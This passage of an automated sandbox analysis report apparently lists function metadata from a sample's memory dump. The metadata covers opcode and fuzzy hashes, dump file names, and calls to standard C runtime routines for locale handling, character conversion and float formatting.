                                                                                                                                                          • Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
                                                                                                                                                          • Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
                                                                                                                                                          • Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
                                                                                                                                                          • Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89
                                                                                                                                                          Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
                                                                                                                                                          • __isleadbyte_l.LIBCMT ref: 00415307
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00415338
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004153A6
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3058430110-0
                                                                                                                                                          • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                          • Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
                                                                                                                                                          • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                          • Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59
                                                                                                                                                          Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3016257755-0
                                                                                                                                                          • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                          • Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
                                                                                                                                                          • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                          • Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89